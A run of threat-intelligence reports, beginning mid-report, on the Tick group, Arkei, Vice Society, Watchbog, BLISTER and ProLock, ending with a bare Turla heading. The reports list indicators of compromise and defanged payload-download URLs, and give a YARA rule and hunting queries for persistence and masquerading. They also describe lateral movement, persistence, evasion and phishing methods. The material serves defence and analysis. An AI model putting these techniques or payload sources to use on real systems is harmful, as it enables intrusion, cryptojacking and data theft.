The payload is based on "Nameless Backdoor," which has been publicly available for more than ten years. The oldest code we could identify was hosted on a famous Chinese source code sharing site since 2005. The author of the NamelessHdoor appears to have created additional versions of the Nameless Backdoor by removing unnecessary functions and added open-source DLL injection code from ReflectiveDLLLoader.
There is minimal public information regarding the Nameless Backdoor, except for the interesting report from Cyphort in 2015. The researcher of the company analyzed multiple threats, including Invader, Nioupale (Daserf), and Hdoor found in an attack against an Asian financial institution. We examined the sample described in the report as Hdoor and found it's a previous version of the NamelessHdoor we discovered in the Minzen sample, but without support for DLL injection.
## Shared Infrastructure and Cipher Code with Custom Gh0st
Other interesting samples in the report are dllhost.exe and Shell64.dll. We don't have the same files but found possible variants close to their description in the article. These include the following:
- Executable files that connect to the same remote server, blog.softfix.co[.]kr:80, download a DLL file and execute the 'lowmain' export function.
- DLL files have 'lowmain' and 'main' exports.
It turned out that the DLL files we found are a custom variant of Gh0st RAT, and the EXE files download the RAT. Since the source code is publicly available, Gh0st RAT has been used by multiple actors for years.
The domain, softfix.co[.]kr was registered in 2014. One of the subdomains, news.softfix.co[.]kr was the C2 server of Daserf (SHA256: 9c7a34390e92d4551c26a3feb5b181757b3309995acd1f92e0f63f888aa89423). Another subdomain, bbs.softfix.co[.]kr was hosted on the same IP address as bbs.gokickes[.]com, which was reported as the C2 server of Invader by Cyphort. We also identified www.gokickes[.]com as the C2 of another Invader variant (SHA256: 57e1d3122e6dc88d9eb2989f081de88a0e6864e767281d509ff58834928895fb).
In addition to the infrastructure, the attacker also shared code. The Gh0st downloaders employ simple substitution ciphers for hiding strings.
The cipher converts one character to another based on a substitution table. As an example, the character 'K' in plain text is changed to '5' in cipher text, 'h' is converted to 'j' and so on. The string 'connect' was encoded to 'zF((0za' using this table.
The exact same table for simple substitution cipher is used in a variant of Daserf (SHA256: 01d681c51ad0c7c3d4b320973c61c28a353624ac665fd390553b364d17911f46). We also found a very similar table in other Tick tools. Since the strings are unique to these threats, we believe a developer linked to the group built these tools. Because of the shared domains and code, we believe the incident reported by Cyphort has ties to Tick.
## Spearphishing Email with Patched File Encryption Program
We also identified another malware family, **HomamDownloader**, sharing some servers with Daserf. An overview of the connections among these threats is discussed below.
HomamDownloader is a small downloader program with minimal interesting characteristics from a technical point of view. HomamDownloader was discovered to be delivered by Tick via a spearphishing email. The adversary crafted credible email and attachment after understanding the targets and their behavior.
The email below was sent from a personal email account with a subject line of “New Year Wishes on January 1st.” The message asked the recipient to rename the attachment extension from “._X_” to “.exe” and open it with the password specified in the email to view the Happy New Year eCard in the correct and polite language.
The image above is translated to the following in English:
Dear XXXX,
Heartfelt Greetings for the New Year.
Thank you very much for your support over the past year.
I will greatly appreciate your further guidance and encouragement.
Would you please change the file extension of the attachment from "._X_" to ".exe" and open it?
Password is "nengajyo".
For those who are not familiar with Japanese companies, the email must look suspicious, especially given that the executable file attachment has the incorrect file extension. However, this may look legitimate in some cases. Many Japanese companies introduced a file encryption system for secure data exchange over email. The system encrypts documents with a user-specified password and often creates a self-extracting (SFX) file for ease of decrypting the file to recipients. When sending the SFX file with a password by email, senders usually rename the file extension from .exe to something else to avoid blocking or detecting the attachment by an email gateway or security product. The adversary may know Japanese enterprise users exchange these emails in such a way and crafts the spearphishing email in the same manner.
In addition to the social engineering email technique, the attacker also employs a trick to the attachment. The actor embedded malicious code to a resource section of the legitimate SFX file created by a file encryption tool and modified the entry point of the program for jumping to the malicious code soon after the SFX program starts. The malicious code drops HomamDownloader, then jumps back to the regular flow in the CODE section, which in turn asks the user for the password and decrypts the file. Therefore, once a user executes the attachment and sees the password dialog on SFX, the downloader dropped by the malicious code starts working even if the user chooses Cancel on the password window. Should the user become aware of the infection later, it may be difficult to find the cause due to the fact that the original embedded file contained within the SFX is benign.
## Conclusion
Tick was spotted last year, but they are actively and silently attacking various organizations in South Korea and Japan for a number of years. While some of the group’s tools, tactics, and procedures (TTPs) have been covered within this article, it is likely there is much that still remains uncovered.
Palo Alto Networks customers are protected by these threats in the following ways:
1. All samples discussed are classified as malicious by the WildFire sandbox platform.
2. All identified domains have been classified as malicious.
3. AutoFocus users can track the malware described in this report using Tick campaign tag and various malware tags.
4. Customers running Traps are protected from the discussed threats.
## Indicator of Compromise
**SHA256**
**Daserf**
04080fbab754dbf0c7529f8bbe661afef9c2cba74e3797428538ed5c243d705a
f8458a0711653071bf59a3153293771a6fb5d1de9af7ea814de58f473cba9d06
e8edde4519763bb6669ba99e33b4803a7655805b8c3475b49af0a49913577e51
21111136d523970e27833dd2db15d7c50803d8f6f4f377d4d9602ba9fbd355cd
9c7a34390e92d4551c26a3feb5b181757b3309995acd1f92e0f63f888aa89423
**Invader**
0df20ccd074b722d5fe1358b329c7bdebcd7e3902a1ca4ca8d5a98cc5ce4c287
e9574627349aeb7dd7f5b9f9c5ede7faa06511d7fdf98804526ca1b2e7ce127e
57e1d3122e6dc88d9eb2989f081de88a0e6864e767281d509ff58834928895fb
**9002**
933d66b43b3ce9a572ee3127b255b4baf69d6fdd7cb24da609b52ee277baa76e
2bec20540d200758a223a7e8f7b2f98cd4949e106c1907d3f194216208c5b2fe
055fe8002de293401852310ae76cb730c570f2037c3c832a52a79b70e2cb7831
**Minzen**
797d9c00022eaa2f86ddc9374f60d7ad92128ca07204b3e2fe791c08da9ce2b1
9374040a9e2f47f7037edaac19f21ff1ef6a999ff98c306504f89a37196074a2
26727d139b593486237b975e7bdf93a8148c52d5fb48d5fe540a634a16a6ba82
**NamelessHdoor**
dfc8a6da93481e9dab767c8b42e2ffbcd08fb813123c91b723a6e6d70196636f
**Gh0st RAT Downloader**
ce47e7827da145823a6f2b755975d1d2f5eda045b4c542c9b9d05544f3a9b974
e34f4a9c598ad3bb243cb39969fb9509427ff9c08e63e8811ad26b72af046f0c
**Custom Gh0st**
8e5a0a5f733f62712b840e7f5051a2bd68508ea207e582a190c8947a06e26f40
**Datper**
7d70d659c421b50604ce3e0a1bf423ab7e54b9df361360933bac3bb852a31849
**HomamDownloader**
a624d2cd6dee3b6150df3ca61ee0f992e2d6b08b3107f5b00f8bf8bcfe07ebe7
**C2**
lywjrea.gmarketshop[.]net
krjregh.sacreeflame[.]com
psfir.sacreeflame[.]com
lywja.healthsvsolu[.]com
phot.healthsvsolu[.]com
blog.softfix.co[.]kr
news.softfix.co[.]kr
www.gokickes[.]com
log.gokickes[.]com
sansei.jpn[.]com |
# Arkei Stealer Analysis
## What is Arkei Stealer?
Arkei is a stealer family, mostly written in C++. It was first seen in the wild around May 2018. It collects data about the local computer, browser cookies, messengers, and cryptocurrency wallets. Then it zips the collected data and uploads it to the hacker’s C&C channel. |
# Vice Society: Ransomware Gang Disrupted Spar Stores
A ransomware operation called Vice Society has claimed credit for attacks that hit two groups of independently owned and operated Spar-branded stores earlier this month.
On Dec. 6 via Twitter, Spar reported that for some of its U.K. operations, "there has been an online attack on our IT systems which is affecting stores' ability to process card payments, meaning that a number of Spar stores are currently closed." No specific ransomware group was blamed for the attack. But the Vice Society ransomware group on Friday claimed credit for the hit via its data leak site, says Israeli threat intelligence firm Kela.
Specifically, Vice Society says it infected systems at James Hall & Co., which acts as the primary wholesaler to more than 600 Spar stores in the north of England, and Heron and Brearley, owner of Mannin Retail, which operates 19 Spar stores on the Isle of Man. The Isle of Man is a self-governing British Crown Dependency located in the Irish Sea between Great Britain and Northern Ireland.
"When browsing through files leaked by Vice Society, Kela saw documents apparently related to Spar operations, as well as to both companies mentioned in the listing," Victoria Kivilevich, director of threat research at Kela, tells Information Security Media Group. "The gang published more than 93,000 files."
## Attack Aftermath
The naming of the victims by Vice Society, as well as the dumping of their allegedly stolen data, suggests that neither business paid a ransom to the attackers. Heron and Brearley didn't immediately respond to a request for comment. Multiple emails sent to James Hall & Co., for which the website continues to be offline, were returned as undeliverable.
Britain's National Cyber Security Center on Dec. 10 confirmed that James Hall & Co. had been attacked. "We are aware of an incident affecting some Spar stores serviced by James Hall & Co. in the North of England and are working with partners in response," an NCSC spokesman said at the time. "James Hall & Co. has confirmed that it is now bringing affected stores back online." The NCSC also urged organizations to follow its ransomware guidance "to help mitigate attacks, their impact and enable effective recovery."
## More Attacks
Vice Society first launched its data leak site in May, on which it listed Indianapolis, Indiana-based Eskenazi Health, a public health provider. The same month, the group also appeared to have been behind a ransomware attack against New Zealand's Waikato District Health Board. Since then, the group has continued to rack up new victims. In the past week, for example, beyond the Spar operators, the gang has also claimed credit for infecting with ransomware a Brazilian dental company and a Colombian university.
Vice Society is just one of a number of active ransomware groups that run data leak sites. In the past 10 days, Kela says multiple groups have listed fresh victims on their sites. The groups include Alphv - aka Blackcat, AvosLocker, AtomSilo, BlackByte, Clop, Conti, 54bb47h, Grief, Hive, LockBit, LV, Quantum, Rook, Snatch and Vice Society.
The monthly total number of victims being listed on ransomware groups' data leak sites continues to increase. Cybersecurity firm Group-IB has reported that for the 12 months ending on June 30, the number of publicly listed initial access offers - compared to the preceding 12-month period - nearly tripled, increasing from 362 to 1,099. That trend has been continuing, says Allan Liska, an intelligence analyst at threat intelligence firm Recorded Future. In September, he reported that the total number of monthly victims being listed across all ransomware groups' data leak sites had hit an all-time high.
But the number of victims of ransomware groups remains unclear, in part because multiple gangs don't run data leak sites or attempt to publicly name and shame victims. And of the ones that do, Group-IB estimates that only 13% of such groups' victims ever get listed on a data leak site. |
# Watchbog and the Importance of Patching
**By Luke DuCharme and Paul Lee.**
## What Happened?
Cisco Incident Response (CSIRS) recently responded to an incident involving the Watchbog cryptomining botnet. The attackers exploited CVE-2018-1000861 to gain a foothold and install the Watchbog malware on the affected systems. This Linux-based malware relied heavily on Pastebin for command and control (C2) and operated openly. CSIRS gained an accurate understanding of the attacker's intentions and abilities on a customer's network by analyzing the various Pastebins. As the investigation progressed, CSIRS identified and de-obfuscated multiple pastes using artifacts left on compromised hosts.
There were some attempts at obfuscation, such as base64 encoding URLs and Pastebins, but the attack was still relatively simple to uncover - this attacker did not practice particularly strong operational security. The attackers behind Watchbog claimed to be providing a service by identifying security vulnerabilities and aiding the organization by exploiting said weaknesses before any "real" hackers could do so. During the investigation, Cisco IR found signs of hosts becoming a part of a separate botnet around the time of the Watchbog activity. This raises serious doubts about the "positive" intentions of this adversary. Below is a message left on a compromised system by the adversary:
## What does Watchbog do?
The Watchbog botnet mines Monero cryptocurrency for its owners. While researching our variant, we came across a post by Alibaba Cloud Security that provides some insights into Watchbog. This post coincided with our findings as we found an installation script that performs the following activities.
First, the installation script checks for running processes matching other cryptocurrency miners. If the system was previously configured to mine cryptocurrency, the installation script would terminate their execution using the kill command. The script then uses the touch command to determine its capability to write to various directories on the filesystem. It also checks the architecture of the system to determine if it is executing on a 32-bit or 64-bit operating system and then makes three attempts to download and install a 'kerberods' dropper using wget or curl. Depending on permissions, the kerberods dropper is saved to one of the following directories:
- The current working directory
- /usr/bin
- /usr/libexec
- /usr/local/bin
- /tmp
- /usr/sbin
The script also retrieves the contents of a Pastebin URL containing a Monero wallet ID and mining information. CSIRS verified this as the same wallet ID as the one used by the attacker referenced in the Alibaba cloud post.
Though the Pastebin URL in the previous screenshot is no longer accessible, the next step in the infection process is to download the cryptocurrency miner. We identified a script that 'kerberods' likely runs to reach out to GitHub to install the XMR-Stak Monero miner. The main part of the script checks to see if a process called 'watchbog' is running. If the 'watchbog' process is not detected, the 'testa' or 'download' functions are called to install the version of the miner that's compatible with the host operating system and architecture and execute it to begin the mining process.
### 'Testa' function
As previously mentioned, the 'testa' function may be called to facilitate the infection process. Below is the code associated with this function. This code is responsible for writing the various configuration data used by the mining software. The function declares three variables and assigns base64 encoded data to each of them. The base64 encoded data is then decoded and written to various files. The base64 encoded values correspond to the following:
- **St_64**: This variable contains the URL of the Github repository that hosts the XMR-Stak mining client.
`hXXps://github[.]com/fireice-uk/xmr-stak/releases/download/2.10.3/xmr-stak-linux-2.10.3-cpu.tar.xz`
- **con_url**: This variable contains the Pastebin URL that is used to host the configuration file for the mining client.
`hXXps://pastebin[.]com/raw/YJH8sWr`
- **Cpu_url**: This variable contains an additional Pastebin URL. During our investigation, the Pastebin URL was no longer accessible, but likely contains an additional configuration file to be used by the mining client.
`hXXps://pastebin[.]com/raw/irzk5mSh`
- **poo_url**: This variable contains an additional Pastebin URL. During our investigation, the Pastebin URL was no longer accessible, but likely contains an additional configuration file to be used by the mining client.
`hXXps://pastebin[.]com/raw/aJkbTx6Y`
The script then starts the Watchbog process and deletes the text file after downloading the encoded Pastebins as a text file and giving it execution permissions.
### 'Download' function
The following code is associated with the 'download' function referenced by the installation script previously described. Similar to what was described in the 'testa' function, it contains three declared variables with base64 encoded assignments. These base64 encoded strings correspond to the following:
- **mi_64**: This variable contains the Github URL that hosts the XMrig monero mining client.
`hXXps://github[.]com/xmrig/xmrig/releases/download/v2.14.1/xmrig-2.14.1-xenial-x64.tar.gz`
- **mi_32**: This variable contains a Pixeldrain URL. During our investigation, the URL was no longer accessible.
`hXXps://pixeldrain[.]com/api/file/ZuVWceWG`
- **der_ke**: This variable contains a Pastebin URL. The URL was used to host a file containing the attacker(s) Monero Wallet ID for the miner to use. This Wallet ID is used to facilitate payment to the attacker. All Monero successfully mined by clients under the attacker's control will transfer the Monero to the Wallet ID specified in this file. The same wallet is included in the Alibaba Cloud post mentioned earlier.
`hXXps://pastebin[.]com/raw/hURdMBLd`
The download function then writes the contents retrieved from the specified URLs to various file locations. It then determines the architecture of the system and installs the appropriate mining client and executes it to initiate the mining process.
## Lateral movement via SSH
CSIRS identified that the adversary was using SSH to spread laterally. Although local logs were unavailable, we were able to use network logs to gain an understanding of how the malware was spreading. As we viewed the logs, it was easy to determine Watchbog's lateral movement mechanism because they were generating a large amount of SSH traffic. This could have been easily detected using internal traffic flow monitoring, such as with StealthWatch Cloud or other netflow-monitoring capability.
The following Bash script was used to facilitate the lateral movement process. It retrieves the contents of the known_hosts file on the infected system and then attempts to SSH into those systems. It also checks for the existence of SSH keys and leverages them to authenticate to the systems in the known_hosts file. If successful, it will retrieve the contents of the Pastebin URL previously described and initiate the infection process.
### Lateral movement via Jenkins and Redis servers
In addition to leveraging SSH for lateral movement, the Watchbog adversary also attempted to leverage a Python script that scans for open Jenkins and Redis ports on the host's subnet. If the script finds any vulnerable servers, it attempts to use the curl or wget commands to retrieve a payload from Pastebin and execute it on the target.
Based on the following string on line 71, the script targets CVE-2018-1000861, a vulnerability in the Staple web framework for versions up to Jenkins 2.138.1 or 2.145 which handles HTTP requests. It can provide attackers with RCE through particularly crafted URLs. A post by Orange Tsai shows how to exploit this vulnerability by using cross-reference objects to bypass ACL policy.
Though the pastes accessed in the script were no longer available, we believe the payload was the installation script for the XMR-Stak miner previously described. The following Python script is also downloaded and executed from the XMR-Stak miner script described above in a function called 'party.' As can be seen above, the payload variable contains a base64 encoded blob which is then decoded and written to the /tmp directory and executes it. This base64 encoded blob contains a Pastebin URL (`hXXps://pastebin[.]com/raw/DzgYb9mu`) which was used to host the following Python script. The Python script is used to facilitate the exploitation of the aforementioned vulnerability and initiate the infection process.
## Persistence
Watchbog's main persistence mechanism appears to have been using cron jobs. Below is the 'system' function from the 'kerberods' installation script which ensures the dropper will call out to Pastebins every hour for new information.
In a post by Renato Marinho from Morphus Labs, he mentions a very interesting way 'kerberods' achieves persistence as well. If it has root privileges, it will download and load a library into the operating system which hooks parts of Glibc to modify Glibc's behavior. The post also specifies that the hooks allow the miner to run as anyone (including root) and also obfuscates the network connection to the mining pool as well as the Redis/Jenkins server scans.
## Covering their tracks
Evidence deletion has been identified in previous Watchbog variants. The Watchbog variant in our incident continued this trend. Evidence deletion was performed in a clear manner with files and logs being deleted or overwritten. The evidence deletion was typically added to the end of a handful of the Pastebin scripts, with the Xmr-stak download and the SSH Lateral Movement scripts being prime examples. The loss of those key pieces of evidence made analysis difficult, but not impossible. We were able to rely upon our clients' centralized logging to fill in those holes, and the hosts themselves still had evidence. The most obvious being the malware variants themselves.
## Conclusion
Unpatched web applications vulnerable to known CVEs are a major target for attackers. Adversaries can leverage the vulnerability to gain a foothold into the web server and network environment in which the web server is deployed. Once that foothold has been established, the attacker can then connect to their C2, achieve persistent long-term access to the environment, and spread laterally — which is exactly what happened in this case. The best way to prevent such activity would be to ensure that all enterprise web applications are up to date. Patching can cause some operational gaps and delays, so it’s also important to have a maintenance window and a test environment to ensure that the new patches do not cause any issues. Identifying cryptomining activity can be done effectively by following security fundamentals. Establish a baseline for internal network traffic and if any significant deviations occur, identify and investigate them. Even if there is an existing theory for the activity. In this case, Watchbog generated a noticeable spike in the organization’s SSH traffic.
## Coverage
Intrusion prevention systems such as SNORT® provide an effective tool to detect China Chopper activity due to specific signatures present at the end of each command. In addition to intrusion prevention systems, it is advisable to employ endpoint detection and response tools (EDR) such as Cisco AMP for Endpoints, which gives users the ability to track process invocation and inspect processes.
Additional ways our customers can detect and block these threats are listed below:
- Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks.
- Email Security can block malicious emails sent by threat actors as part of their campaign.
- Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity associated with this threat.
- AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.
- Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.
- Open Source SNORTⓇ Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
## Indicators of Compromise (IOCs)
The following IOCs have been observed associated with Watchbog.
**Hashes (SHA256):**
- b383d0fdfa5036ccfa5d9c2b43cbfd814bce8778978873057b86678e5295fc61
- 0b0567c9b45ea0a3ea4267001f0760ccdf2b8224fceaf8979d32fcceb2d6fb7a
- 3A6271A90D0F6CC8A2D31D45D931E8401F13F7377932BA07D871DC42F252B9CA
**Domains:**
- aziplcr72qjhzvin[.]onion[.]to
**Misc:**
- Monero Wallet (Same wallet as the Alibaba Cloud Post)
`47k2wdnyyBoMT6N9ho5Y7uQg1J6gPsTboKP6JXfB5msf3jUUvTfEceK5U7KLnWir5VZPKgUVxpkXnJLmijau3VZ8D2zsyL7` |
# BLISTER Malware Campaign Discovered
## Key Takeaways
- Elastic Security uncovered a stealthy malware campaign that leverages valid code signing certificates to evade detection.
- A novel malware loader, BLISTER, was used to execute second stage malware payloads in memory and maintain persistence.
- The identified malware samples have very low or no detections on VirusTotal.
- Elastic provided layered prevention coverage from this threat out of the box.
## Overview
The Elastic Security team identified a noteworthy cluster of malicious activity after reviewing our threat prevention telemetry. A valid code signing certificate is used to sign malware to help the attackers remain under the radar of the security community. We also discovered a novel malware loader used in the campaign, which we’ve named BLISTER. The majority of the malware samples observed have very low or no detections in VirusTotal. The infection vector and goals of the attackers remain unknown at this time.
Elastic’s layered approach to preventing attacks protects from this and similar threats. In one prevented attack, our malicious behavior prevention triggered multiple high-confidence alerts for Execution via Renamed Signed Binary Proxy, Windows Error Manager/Reporting Masquerading, and Suspicious PowerShell Execution via Windows Scripts. Further, our memory threat prevention identified and stopped BLISTER from injecting its embedded payload to target processes. We have additional coverage from our open source detection engine rules. To ensure coverage for the entire community, we are including YARA rules and IoCs to help defenders identify impacted systems.
## Details
### Certificate Abuse
A key aspect of this campaign is the use of a valid code signing certificate issued by Sectigo. Adversaries can either steal legitimate code-signing certificates or purchase them from a certificate authority directly or through front companies. Executables with valid code signing certificates are often scrutinized to a lesser degree than unsigned executables. Their use allows attackers to remain under the radar and evade detection for a longer period of time.
We responsibly disclosed the activity to Sectigo so they could take action and revoke the abused certificates. Below are details about the compromised certificate. We have observed malware signed with this certificate as early as September 15, 2021.
- **Issuer:** Sectigo Public Code Signing CA R36
- **Issued to:** Blist LLC
- **Serial number:** 2f4a25d52b16eb4c9dfe71ebbd8121bb
- **Valid from:** August 23, 2021
- **Valid to:** August 24, 2022
### BLISTER Malware Loader
Another interesting aspect of this campaign is what appears to be a novel malware loader with limited detections in VirusTotal. We refer to it as the BLISTER loader. The loader is spliced into legitimate libraries such as colorui.dll, likely to ensure the majority of the on-disk footprint has known-good code and metadata. The loader can be initially written to disk from simple dropper executables. One such dropper writes a signed BLISTER loader to `%temp%\Framwork\axsssig.dll` and executes it with rundll32.
Once executed, BLISTER decodes bootstrapping code stored in the resource section with a simple 4-byte XOR routine. The bootstrapping code is heavily obfuscated and initially sleeps for 10 minutes, likely an attempt to evade sandbox analysis. After the delay, it decrypts the embedded malware payload. We have observed CobaltStrike and BitRat as embedded malware payloads. Once decrypted, the embedded payload is loaded into the current process or injected into a newly spawned WerFault.exe process.
Finally, BLISTER establishes persistence by copying itself to the `C:\ProgramData` folder, along with a renamed local copy of rundll32.exe. A link is created in the current user’s Startup folder to launch the malware at logon as a child of explorer.exe.
### YARA
We have created a YARA rule to identify this BLISTER activity:
```yara
rule Windows_Trojan_Blister {
meta:
author = "Elastic Security"
creation_date = "2021-12-20"
last_modified = "2021-12-20"
os = "Windows"
category_type = "Trojan"
family = "Blister"
threat_name = "Windows.Trojan.Blister"
reference_sample = "0a7778cf6f9a1bd894e89f282f2e40f9d6c9cd4b72be97328e681fe32a1b1a00"
strings:
$a1 = {8D 45 DC 89 5D EC 50 6A 04 8D 45 F0 50 8D 45 EC 50 6A FF FF D7}
$a2 = {75 F7 39 4D FC 0F 85 F3 00 00 00 64 A1 30 00 00 00 53 57 89 75}
condition:
any of them
}
```
## Defensive Recommendations
### Elastic Endpoint Alerts
Elastic Endpoint Security provides deep coverage for this threat by stopping the in-memory thread execution and preventing malicious behaviors.
- **Memory Threat Detection Alert:** Shellcode Injection
- **Malicious Behavior Detection Alert:** Execution via Renamed Signed Binary Proxy
### Hunting Queries
These queries can be used in Kibana's Security -> Timelines -> Create new timeline -> Correlation query editor. While these queries will identify this intrusion set, they can also identify other events of note that, once investigated, could lead to other malicious activities.
- **Proxy Execution via Renamed Rundll32**
- Hunt for renamed instances of rundll32.exe where `event.action == "start"` and `process.name != null` and `(process.pe.original_file_name == "RUNDLL32.EXE" and not process.name : "RUNDLL32.EXE")`
- **Masquerading as WerFault**
- Hunt for potential rogue instances of WerFault.exe in an attempt to masquerade as a legitimate system process that is often excluded from behavior-based detection as a known frequent false positive:
- `process where event.action == "start" and process.executable : ("?:\\Windows\\Syswow64\\WerFault.exe", "?:\\Windows\\System32\\WerFault.exe") and process.args_count == 1`
### Evasion via Masquerading as WerFault and Renamed Rundll32
- **Persistence via Registry Run Keys / Startup Folder**
- Malware creates a new run key for persistence:
- `registry where registry.data.strings != null and registry.path : ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\\*", "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", "HKEY_USERS\\*\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\\*")`
### Summary
The BLISTER loader has several tricks which have allowed it to fly under the radar of the security community for months. This includes leveraging valid code signing certificates, infecting legitimate libraries to fool machine learning models, and executing payloads in memory. However, the depth of protection offered with Elastic Security meant we were still able to identify and stop in-the-wild attacks.
## Indicators
| Indicator | Type | Note |
|--------------------------------------------------------------------------------------------|-------------|-------------------------------|
| F3503970C2B5D57687EC9E31BB232A76B624C838 | SHA1 | Code-signing certificate thumbprint |
| moduleloader.s3.eu-west-2.amazonaws[.]com | Domain | Malware |
| discountshadesdirect[].com | name | c2 |
| 188.68.221[.]203 | IP | Malware |
| 93.115.18[.]248 | Address | c2 |
| 52.95.148[.]162 | IP | c2 |
| 84.38.183[.]174 | IP | c2 |
| 80.249.145[.]212 | IP | c2 |
| 185.170.213[.]186 | IP | c2 |
| ed6910fd51d6373065a2f1d3580ad645f443bf0badc398aa77185324b0284db8 | sha256 | Signed |
| 2d049f7658a8dccd930f7010b32ed1bc9a5cc0f8109b511ca2a77a2104301369 | BLISTER | |
| 696f6274af4b9e8db4727269d43c83c350694bd1ef4bd5ccdc0806b1f014568a | Loader | |
| a34821b50aadee0dd85c382c43f44dae1e5fef0febf2f7aed6abf3f3e21f7994 | DLL | |
| Launcher V7.3.13.exe | File | Dropper |
| GuiFramwork.exe | name | Names |
| ffxivsetup.exe | name | Names |
| Predictor V8.21 - Copy.exe | name | Names |
| Predictor Release v5.9.rar | name | Names |
| PredictorGUI.exe | name | Names |
| Readhelper.exe | name | Names |
| dxpo8umrzrr1w6gm.exe | name | Names |
| Pers.exe | name | Names |
| razer.exe | name | Names |
| Amlidiag.exe | name | Names |
| Modern.exe | name | Names |
| iuyi.exe | name | Names |
| Cleandevicehelper.exe | name | Names |
| installer.exe | name | Names |
| Holorui.dll | File | BLISTER |
| Colorui.dll | name | DLL |
| Pasade.dll | name | Names |
| Axsssig.dll | name | Names |
| Helper.CC.dll | name | Names |
| Heav.dll | name | Names |
| Pasadeis.dll | name | Names |
| Termmgr.dll | name | Names |
| TermService.dll | name | Names |
| rdpencom.dll | name | Names |
| libcef.dll | name | Names |
| tnt.dll | name | Names | |
# Lock Like a Pro: Dive in Recent ProLock's Big Game Hunting
**Oleg Skulkin**
Senior Digital Forensics Analyst at Group-IB
**Semyon Rogachev**
Malware Analyst at Group-IB
## Introduction
On September 4, the FBI issued its second alert in less than six months about ProLock, warning companies that ransomware operators are stealing data from targeted organizations before encrypting it. The group operating ProLock is the successor of the PwndLocker ransomware strain, which had been active only since October 2019. PwndLocker operators targeted enterprise networks with ransom demands ranging from the low to mid-six figures. Despite early successes, PwndLocker was halted after its code contained a bug that allowed anyone to decrypt files without paying the ransom. The threat actors quickly patched it and rebranded their ransomware as ProLock in March 2020.
Following in the footsteps of its predecessor, ProLock has focused on so-called Big Game Hunting. Their ransom demands range from 35 to 255 Bitcoin (approx. $400,000 to $3,000,000), confirming their "think big" strategy. ProLock operators have primarily focused on North America and Europe, with their most infamous known attack occurring in April on Diebold Nixdorf.
Shortly after ProLock emerged, Group-IB discovered that the new group was using the Qakbot (also known as QBot) banking trojan to obtain initial access and described ProLock's TTPs. Almost six months after its debut, the group has upgraded its methods. This post will look at some of the recent tactics, techniques, and procedures (TTPs) used by ProLock operators.
## Initial Access
Qakbot is usually distributed via phishing emails, and the campaigns associated with ProLock are no exception. Their phishing emails contain links or attachments, often ZIP archives with heavily obfuscated VBScripts. Similar scripts are used as a delivery mechanism for other trojans, such as Dridex and Ursnif.
Another noteworthy aspect of these emails is that they usually involve the thread-hijacking technique. Such emails originate from a compromised account or attacker-controlled system. Since the emails appear to come from a trusted source, it is more likely that the victim will download and click on the malicious VBScript.
In some cases, weaponized Office documents are used instead of VBScripts. These documents include malicious macros that, once enabled, drop a batch file into the %PUBLIC% folder, triggering PowerShell to download and execute a Qakbot payload from one of the compromised websites. In their most recent campaigns, Qakbot operators added another link to the chain: the notorious Emotet trojan, which has a long history of being involved in Big Game Hunting operations.
## Network reconnaissance and lateral movement
Once the adversary has gathered general information about the compromised host and understands that it is located in a domain of interest, Bloodhound is used to collect more detailed information. The output is written to the same folder and is in the form of zipped JSON files — a standard Sharphound (part of Bloodhound) output.
In at least one case, the attackers profiled the compromised network again, just before the ProLock deployment, using another Active Directory reconnaissance tool: ADFind. This could indicate that multiple individuals or teams were working on the same target.
At the same time, Group-IB noticed that the team or individual working on ransomware deployment was closely connected to Qakbot operators. For example, they used PsExec to manually distribute Qakbot throughout the company. Moreover, this was not the only case when PsExec was used. The attackers also used Remote Desktop Protocol (RDP) for lateral movement. This was not the most effective route, as RDP was not available on every host. To overcome this obstacle, they used a batch script to enable it, which was run via PsExec on available hosts.
This was not the only script deployed using PsExec; another example is a Cobalt Strike Beacon stager. Many adversaries, especially those involved in Big Game Hunting operations, have this dual-use tool in their arsenals and often use PowerShell one-liners to run stagers. ProLock operators are no exception.
In some cases, ProLock operators used an exploit for the CVE-2019-0859 vulnerability to escalate their privileges on the compromised host. They achieved this by resorting to a separate executable file. Regarding ProLock distribution, the ransomware can be either dropped by Qakbot or downloaded from an adversary-controlled server using Background Intelligent Transfer Service (BITS). In some cases, WMIC is also used to execute the script on the remote hosts — a common technique in modern ransomware attacks.
## Impact
Before ProLock ransomware is deployed, the threat actors sometimes perform data exfiltration. To do so, they use Rclone, a command-line tool for managing files on cloud storage, which supports a large number of such storage providers. The executable file is usually masqueraded to look like a legitimate file (e.g., svchost.exe). Another preemptive measure involves the threat actors deploying pre-made batch scripts via Group Policy to disable antivirus software. They also wipe backups from the relevant servers.
ProLock itself consists of two components: a batch file and a file with a disguised payload. During incident response engagements, Group-IB has seen the following file types being used to store payloads: JPG, BMP, and CSV. Both files are dropped into the %ALLUSERSPROFILE% folder. Once executed, the launcher extracts and executes the ProLock code. One of the largest ransom amounts Group-IB has ever encountered was 90 BTC, which is around $1,000,000. In another recent case, known to Group-IB's DFIR team, ProLock operators demanded as much as 255 BTC.
## Conclusion
The emergence of ProLock is a clear sign that the threat of Big Game Hunting continues to loom large. The group's use of Qakbot may be straight out of the enterprise ransomware operation playbook, but the approach remains effective. Despite only using standard tools for post-exploitation, ProLock operators have largely managed to remain undetected until the ransomware is deployed on the target hosts. Moreover, although the dwell time in attacks is about a month, many organizations still find it difficult to detect malicious activity in time due to the lack of well-trained personnel, properly configured security controls, and appropriate cyber threat intelligence consumption. |
# Turla: A Galaxy of Opportunity
